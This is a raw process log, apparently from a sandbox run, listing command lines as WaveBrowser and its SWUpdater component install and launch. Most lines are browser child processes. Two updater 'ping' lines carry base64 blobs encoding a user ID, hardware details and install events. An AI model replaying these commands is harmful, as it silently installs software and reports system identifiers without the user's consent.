"C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJTV1VwZGF0ZXIiIHVwZGF0ZXJ2ZXJzaW9uPSIxLjMuMTM1LjAiIHNoZWxsX3ZlcnNpb249IjEuMy4xMzUuMCIgaXNtYWNoaW5lPSIwIiBzZXNzaW9uaWQ9Ins2RURFMDM1Qy03MjE0LTQ4N0MtOTMxMy02QTc0MDQ3ODNDRUF9IiB1c2VyaWQ9InswNTMyMGRjZS1kMDAyLTRjZmEtOWNmNy1iOTlmOGQzMmRlYmR9IiBpbnN0YWxsc291cmNlPSJvdGhlcmluc3RhbGxjbWQiIHJlcXVlc3RpZD0iezFDRTQ0MEZELTdBQzUtNEU0Qi05QjE5LTBCMzYxQzU4MUJBQn0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iOCIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4yMjAwMC40OTMiIHNwPSIiIGFyY2g9Ing2NCIvPjxhcHAgYXBwaWQ9IntGNkY2MEFDRS03MUFELTQ2MTAtODBENC05MjUzNzI5RkI0Qjd9IiB2ZXJzaW9uPSIiIG5leHR2ZXJzaW9uPSIxLjMuMTM1LjAiIGxhbmc9ImVuIiBicmFuZD0iIiBjbGllbnQ9IiI-PGV2ZW50IGV2ZW50dHlwZT0iMiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgaW5zdGFsbF90aW1lX21zPSIzODYiLz48L2FwcD48L3JlcXVlc3Q-

C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe

"C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe" /handoff "bundlename=WaveBrowser&appguid={EB149AD2-CE4E-4F51-B7FC-A149FAA4CCAF}&appname=WaveBrowser&needsadmin=False&lang=en&usagestats=1&installdataindex=1" /installsource otherinstallcmd /sessionid "{6EDE035C-7214-487C-9313-6A7404783CEA}"

C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe

"C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe" -Embedding

C:\Users\Admin\Wavesor Software\SWUpdater\Install\{82210FC4-5C7E-4BA7-A388-EEB3E7EFD776}\WaveInstaller-v1.5.18.2.exe

"C:\Users\Admin\Wavesor Software\SWUpdater\Install\{82210FC4-5C7E-4BA7-A388-EEB3E7EFD776}\WaveInstaller-v1.5.18.2.exe" /installerdata="C:\Users\Admin\AppData\Local\Temp\gui5C4F.tmp"

C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe

"C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe" --install-archive="C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\wavebrowser.packed.7z" --wid=min59y9l --installerdata="C:\Users\Admin\AppData\Local\Temp\gui5C4F.tmp"

C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe

C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Crashpad" --annotation=channel= --annotation=plat=Win64 --annotation=prod=WaveBrowser --annotation=ver=1.5.18.2 --initial-client-data=0x28c,0x290,0x294,0x268,0x298,0x7ff62a7d12d0,0x7ff62a7d12dc,0x7ff62a7d12e8

C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe

"C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe" --verbose-logging --installerdata="C:\Users\Admin\AppData\Local\Temp\gui5C4F.tmp" --create-shortcuts=0 --install-level=0

C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe

C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Crashpad" --annotation=channel= --annotation=plat=Win64 --annotation=prod=WaveBrowser --annotation=ver=1.5.18.2 --initial-client-data=0x28c,0x290,0x294,0x268,0x298,0x7ff62a7d12d0,0x7ff62a7d12dc,0x7ff62a7d12e8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --install-type=1 --from-installer

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\WaveBrowser\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\WaveBrowser\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\WaveBrowser\User Data" --annotation=channel= --annotation=plat=Win64 --annotation=prod=WaveBrowser --annotation=ver=1.5.18.2 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffb567bccf0,0x7ffb567bccfc,0x7ffb567bcd08

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=gpu-process --no-appcompat-clear --start-stack-profiler --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2000,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=1992 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --start-stack-profiler --field-trial-handle=1884,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=2084 /prefetch:3

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2260,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=2280 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --start-stack-profiler --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2812,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=2888 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2820,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=3084 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2884,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=3784 /prefetch:8

C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe

"C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJTV1VwZGF0ZXIiIHVwZGF0ZXJ2ZXJzaW9uPSIxLjMuMTM1LjAiIHNoZWxsX3ZlcnNpb249IjEuMy4xMzUuMCIgaXNtYWNoaW5lPSIwIiBzZXNzaW9uaWQ9Ins2RURFMDM1Qy03MjE0LTQ4N0MtOTMxMy02QTc0MDQ3ODNDRUF9IiB1c2VyaWQ9InswNTMyMGRjZS1kMDAyLTRjZmEtOWNmNy1iOTlmOGQzMmRlYmR9IiBpbnN0YWxsc291cmNlPSJvdGhlcmluc3RhbGxjbWQiIHJlcXVlc3RpZD0iezcxMDU3NDg2LUM1ODAtNDQ2Qy04RUE1LTQyQzFGNzFCQjkzRn0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iOCIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4yMjAwMC40OTMiIHNwPSIiIGFyY2g9Ing2NCIvPjxhcHAgYXBwaWQ9IntFQjE0OUFEMi1DRTRFLTRGNTEtQjdGQy1BMTQ5RkFBNENDQUZ9IiB2ZXJzaW9uPSIiIG5leHR2ZXJzaW9uPSIxLjUuMTguMiIgbGFuZz0iZW4iIGJyYW5kPSIiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSItMSIgaW5zdGFsbGRhdGU9Ii0xIj48ZXZlbnQgZXZlbnR0eXBlPSI5IiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iNSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIvPjxldmVudCBldmVudHR5cGU9IjEiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIGRvd25sb2FkZXI9ImJpdHMiIHVybD0iaHR0cHM6Ly9jZG4uc3d1cGRhdGVyLmNvbS9idWlsZC9XYXZlQnJvd3Nlci9zdGFibGUvd2luLzExMjA5ODc2NDM5MDYvNjQvV2F2ZUluc3RhbGxlci12MS41LjE4LjIuZXhlIiBkb3dubG9hZGVkPSIxMDY4MTEwODAiIHRvdGFsPSIxMDY4MTEwODAiIGRvd25sb2FkX3RpbWVfbXM9Ijc5MjciLz48ZXZlbnQgZXZlbnR0eXBlPSIxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIi8-PGV2ZW50IGV2ZW50dHlwZT0iNiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIvPjxldmVudCBldmVudHR5cGU9IjIiIGV2ZW50cmVzdWx0PSIxIiBlcnJvcmNvZGU9IjAiIGV4dHJhY29kZTE9IjAiIHNvdXJjZV91cmxfaW5kZXg9IjAiIHVwZGF0ZV9jaGVja190aW1lX21zPSI3MzUiIGRvd25sb2FkX3RpbWVfbXM9Ijg2ODQiIGRvd25sb2FkZWQ9IjEwNjgxMTA4MCIgdG90YWw9IjEwNjgxMTA4MCIgaW5zdGFsbF90aW1lX21zPSIxMTkyNCIvPjwvYXBwPjwvcmVxdWVzdD4

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4492,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=4504 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4496,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=4640 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4628,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=4644 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=4788,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=4960 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --start-stack-profiler --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=4800,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=4792 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=4808,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5104 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=4816,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5224 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=4824,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5340 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=4832,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5456 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=4840,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5572 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=4848,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5688 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --instant-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4856,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5804 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6456,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=6468 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6460,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=6752 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --field-trial-handle=6540,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=6892 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --no-appcompat-clear --start-stack-profiler --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --field-trial-handle=6632,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7012 /prefetch:1

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=renderer --extension-process --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --field-trial-handle=6528,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7044 /prefetch:2

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6188,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=6224 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5376,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=6112 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5364,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=6452 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6124,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7512 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6056,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7768 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6084,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7916 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5408,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=8060 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5360,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=8212 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4820,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=8236 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=7364,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=8488 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=7412,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=8640 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=7356,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=8780 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4844,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7380 /prefetch:8

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=8236,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5424 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3812,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=6224 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3780,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7480 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6468,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=8316 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4568,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7764 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5428,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=5432 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5320,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7492 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=5332,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=9052 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=6316,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=7608 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4000,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=9196 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=8184,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=8188 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4620,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=8740 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

"C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4612,i,8877673087329567917,10024639042442436086,262144 --variations-seed-version=15 --mojo-platform-channel-handle=4540 /prefetch:8

C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe

